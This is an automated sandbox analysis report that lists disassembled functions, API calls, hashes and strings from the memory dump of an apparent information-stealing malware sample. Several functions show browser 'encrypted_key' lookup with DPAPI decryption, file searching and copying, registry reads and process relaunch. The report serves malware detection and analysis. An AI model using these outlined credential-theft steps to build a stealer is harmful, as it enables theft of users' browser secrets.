Opcode ID: a0dfd0b00870158b78f1bd2e6a7999d260a6401e0527ae678fcebbd35b121d7e
Instruction ID: 662658449b33b6597f0e232488d2753dcdc24294fcd9b35750f350341739d941
Opcode Fuzzy Hash: a0dfd0b00870158b78f1bd2e6a7999d260a6401e0527ae678fcebbd35b121d7e
Instruction Fuzzy Hash: 13513A70A00268AFDB28EFA5CD95FED7BB2BF64304F00811EE9096B590DB746A45CF50

Function 024ADA41 Relevance: 7.6, APIs: 5, Instructions: 147COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 024ADBAD

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: __freea
String ID:
API String ID: 240046367-0
Opcode ID: c0a4e65e416cc6d163fb13cf5ea6e56ed49e7832e3f26e52db7e14d69add3d0a
Instruction ID: a980220dce657262cdbee52dc8a80fb2e38487dede1b11f885d15f5c10e9c291
Opcode Fuzzy Hash: c0a4e65e416cc6d163fb13cf5ea6e56ed49e7832e3f26e52db7e14d69add3d0a
Instruction Fuzzy Hash: 9841AF72D0004AFFDF119F91CCA0CAE7BB6FBA8354F54416BF615A2660C7318961DB20

Function 00410FC0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410FE8
strtok_s.MSVCRT ref: 0041112D

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,007DD5A0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 77d8088bb27251dd49dfcd07a26e8087964298c25f1e83629a7bc62193e0fc7a
Instruction ID: 03db8a1056b7d3decc043d16849240f9eafe82692520a9407f7f8401fd2e2a69
Opcode Fuzzy Hash: 77d8088bb27251dd49dfcd07a26e8087964298c25f1e83629a7bc62193e0fc7a
Instruction Fuzzy Hash: EF515E75A0410AEFCB08CF54D595AEEBBB5FF48308F10805EE9029B361D734EA91CB95

Function 0040A430 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
Part of subcall function 0040A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
Part of subcall function 0040A2B0: memcpy.MSVCRT(?,?,?), ref: 0040A316
Part of subcall function 0040A2B0: LocalFree.KERNEL32(?), ref: 0040A323

Strings

, xrefs: 0040A511
"encrypted_key":", xrefs: 0040A480
DPAPI, xrefs: 0040A4D9

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 670b58208e1ff2a3ebe60e827019e5f1f1af2f7c111c07866c18d1fd8af9f875
Instruction ID: 27b9d937d1eb2b37959d1b0821c640950517226354c316aa9f1795df4e4508dc
Opcode Fuzzy Hash: 670b58208e1ff2a3ebe60e827019e5f1f1af2f7c111c07866c18d1fd8af9f875
Instruction Fuzzy Hash: 323152B6D00209ABCF04DBD4DC45AEFB7B8BF58304F44456AE901B7281E7389A54CB6A

Function 024AD0D0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32 ref: 024AD108
GetCPInfo.KERNEL32(?,?), ref: 024AD11B
memset.MSVCRT ref: 024AD133
setSBUpLow.LIBCMT ref: 024AD209

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValidmemset
String ID:
API String ID: 703783727-0
Opcode ID: df407eb42ed6ae19740f6001b4b28ec45f3a0947630176eabde2e48c15dd9d5f
Instruction ID: f6ef92df5b781d1cc94b03d5fee48304d210cad0a78f054f72d987d50f176b88
Opcode Fuzzy Hash: df407eb42ed6ae19740f6001b4b28ec45f3a0947630176eabde2e48c15dd9d5f
Instruction Fuzzy Hash: 12312632E08251CAEB259F75CCA037ABFA0AF66304F0485AFD891CFA91C328C446CB51

Function 0250C049 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 0250C086
dllmain_crt_dispatch.LIBCMT ref: 0250C09D
dllmain_raw.LIBCMT ref: 0250C0E5
dllmain_crt_dispatch.LIBCMT ref: 0250C0F8
dllmain_raw.LIBCMT ref: 0250C10B

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction ID: aa30edb742982e40eaad93eb2f6f79a0e064eb59c960bb6bfc3907ee12035466
Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction Fuzzy Hash: C6219CB2D0021AABDB319E54CCD0E7E7E6AFB96B96F00421AE80466290C3308D41CF98

Function 024A6E27 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 024A6E73
sscanf.NTDLL ref: 024A6EA0
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 024A6EB9
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 024A6EC7
ExitProcess.KERNEL32 ref: 024A6EE1

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 6f773626f3441833338ad6a64aabe7637b4b1e18bec63e878425460b9ebe86da
Instruction ID: 7d50a4f42cbd81c76ec6922f263093e8776ee953b2513668ba39d85cac6cefb3
Opcode Fuzzy Hash: 6f773626f3441833338ad6a64aabe7637b4b1e18bec63e878425460b9ebe86da
Instruction Fuzzy Hash: C921FCB5D14218ABCF04DFE4E8559EEB7BAFF58300F04852EE006E3250EB349604CB65

Function 00416BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210F4,?,?,00416DB1,00000000,?,007DD5A0,?,004210F4,?,00000000,?), ref: 00416C0C
sscanf.NTDLL ref: 00416C39
SystemTimeToFileTime.KERNEL32(004210F4,00000000,?,?,?,?,?,?,?,?,?,?,?,007DD5A0,?,004210F4), ref: 00416C52
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,007DD5A0,?,004210F4), ref: 00416C60
ExitProcess.KERNEL32 ref: 00416C7A

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction ID: 1a92bae8d2aea180e7b918fcc5e881d349bf880cfa552010dcbd9d747ca2879d
Opcode Fuzzy Hash: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction Fuzzy Hash: 0321CD75D142089BCF14DFE4E9459EEB7BABF48300F04852EF506A3250EB349644CB69

Function 024A81F7 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 024A822E
RtlAllocateHeap.NTDLL(00000000), ref: 024A8235
RegOpenKeyExA.ADVAPI32(80000002,006D6BD4,00000000,00020119,?), ref: 024A8255
RegQueryValueExA.ADVAPI32(?,006D6EEC,00000000,00000000,000000FF,000000FF), ref: 024A8276
RegCloseKey.ADVAPI32(?), ref: 024A8289

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction ID: 6093d77ae0939d8d1e4c405384b70ccca8f31ce8761d0c908fef746f8cea1c7b
Opcode Fuzzy Hash: 7a9c0ba5048ddb27ec33de3f8be0389340df971bddb9b3c1683f2c2c2fb7b9da
Instruction Fuzzy Hash: A7114CB2E4560AABDB00CFD4DD49FBBBBB9EB44B11F10421AF615AA280D7745900CBA1

Function 024A7B17 Relevance: 7.5, APIs: 5, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 024A7B2B
RtlAllocateHeap.NTDLL(00000000), ref: 024A7B32
RegOpenKeyExA.ADVAPI32(80000002,006D6D98,00000000,00020119,024A7AB0), ref: 024A7B52
RegQueryValueExA.ADVAPI32(024A7AB0,00420AB4,00000000,00000000,?,000000FF), ref: 024A7B71
RegCloseKey.ADVAPI32(024A7AB0), ref: 024A7B7B

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction ID: f85aac653b134ca64920d2925866e2dcfdb92e02473c74ef9781310a7454c2cc
Opcode Fuzzy Hash: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction Fuzzy Hash: D8014FB5E45309BBDB00DBE0DC49FAEB779EF44700F10459AF605A6280E770AA00CB91

Function 024A9657 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(\nm,00000000,00000000,?,0249A1D8,00000000,006D6E5C,00000000), ref: 024A9663
lstrcpyn.KERNEL32(006D7580,\nm,\nm,?,0249A1D8,00000000,006D6E5C), ref: 024A9687
lstrlen.KERNEL32(00000000,?,0249A1D8,00000000,006D6E5C), ref: 024A969E
wsprintfA.USER32 ref: 024A96BE

Strings

\nm, xrefs: 024A965F, 024A967A, 024A967E, 024A9690, 024A96B4, 024A9672, 024A9662, 024A967D, 024A9681, 024A96BD

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: \nm
API String ID: 1206339513-1385846026
Opcode ID: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction ID: f08948364b7d19205e9b08c739ec32e93c1bfd5c4e79aca9d6b9dfc9625c7f9f
Opcode Fuzzy Hash: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction Fuzzy Hash: 55011E75904108FFCB04DFA8DD54EAE7B79EF48304F108249F9098B340EB31AA40CB96

Function 004193F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(007E5688,00000000,00000000,?,00409F71,00000000,007E5688,00000000), ref: 004193FC
lstrcpyn.KERNEL32(006D7580,007E5688,007E5688,?,00409F71,00000000,007E5688), ref: 00419420
lstrlenA.KERNEL32(00000000,?,00409F71,00000000,007E5688), ref: 00419437
wsprintfA.USER32 ref: 00419457

Strings

%s%s, xrefs: 00419445

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction ID: 36a1aade9beab669742e698a5986ef2a8e6d9b7fa0e45cca69d8a80143706e49
Opcode Fuzzy Hash: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction Fuzzy Hash: 9B011E75A18108FFCB04DFA8DD54EAE7B79EF48304F108249F9098B340EB31AA40DB96

Function 02491507 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0249151B
RtlAllocateHeap.NTDLL(00000000), ref: 02491522
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 0249153E
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 0249155C
RegCloseKey.ADVAPI32(?), ref: 02491566

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction ID: 31999b9aed082498f00c2d149b56561d37253ee5cb42f30ef6455849d0aeb224
Opcode Fuzzy Hash: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction Fuzzy Hash: E401E179E45209BFDB04DFD4DC49FAE7779EB48701F10419AFA0597280E770AA00CB91

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction ID: b0bfc99e0bb5f41d030d85d97ebb5ad9faa7414484ca5a523084a8432581bb26
Opcode Fuzzy Hash: 105a35557efbe30c530503ad4a66e3d917ab5a2bcfe7a77369b2bd71da3f475d
Instruction Fuzzy Hash: D1013179E45209BFDB00DFD0DC49FAE7779EB48701F00419AFA05A7280E770AA008B91

Function 024ACCD9 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 024ACCE5

Part of subcall function 024AC507: __getptd_noexit.LIBCMT ref: 024AC50A
Part of subcall function 024AC507: __amsg_exit.LIBCMT ref: 024AC517

__getptd.LIBCMT ref: 024ACCFC
__amsg_exit.LIBCMT ref: 024ACD0A
__lock.LIBCMT ref: 024ACD1A
__updatetlocinfoEx_nolock.LIBCMT ref: 024ACD2E

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d86048f8668ea50bb5e5d78fc2f13e62222d90724e777ee8542e60d5572919de
Instruction ID: 10ca918bfb768c9433f3b818ade70bdb89323a2983be6b53da0066a74cdb153c
Opcode Fuzzy Hash: d86048f8668ea50bb5e5d78fc2f13e62222d90724e777ee8542e60d5572919de
Instruction Fuzzy Hash: 5AF096329013109EE7A0FB69D8A1B1E7B91AF2075DF11410FD401AA2D0CB345541CE9A

Function 0041CA72 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CA7E

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__getptd.LIBCMT ref: 0041CA95
__amsg_exit.LIBCMT ref: 0041CAA3
__lock.LIBCMT ref: 0041CAB3
__updatetlocinfoEx_nolock.LIBCMT ref: 0041CAC7

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: e1c6badfeacfa20afd93dab5a2b3e5961ef45d04078cbebb43daf6c602d2eecf
Instruction ID: 3f7fe6514f949f75c5091ac4188df1b21daf88bb75e36ed85571065e92ff899f
Opcode Fuzzy Hash: e1c6badfeacfa20afd93dab5a2b3e5961ef45d04078cbebb43daf6c602d2eecf
Instruction Fuzzy Hash: 10F06231A842189BD622FBA95C867DE33A0AF00758F50014FE405562D2CB7C59C186DE

Function 00414E00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414E3A
lstrcatA.KERNEL32(?,007E5F78), ref: 00414E58

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,007DD700,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C57

Strings

x_~, xrefs: 00414E4B
pk~, xrefs: 00414E65

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: pk~$x_~
API String ID: 2104210347-2868490819
Opcode ID: 50ecf137add0d75a05fb729d98ebeacd634245022fd6c98f04c0b50997b50f8f
Instruction ID: e9161ec81bcd1d29be655bd6d91fa6844fd782dbdf96c1af6834d1d6ae200bb8
Opcode Fuzzy Hash: 50ecf137add0d75a05fb729d98ebeacd634245022fd6c98f04c0b50997b50f8f
Instruction Fuzzy Hash: F041B6B7E0410467C754F764FC52EEE333E9BC8304F40855EB54696191ED78AAC88B95

Function 024A6B37 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 024A6B6A

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

ShellExecuteEx.SHELL32(0000003C), ref: 024A6C2D
ExitProcess.KERNEL32 ref: 024A6C5C

Strings

<, xrefs: 024A6BE0

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

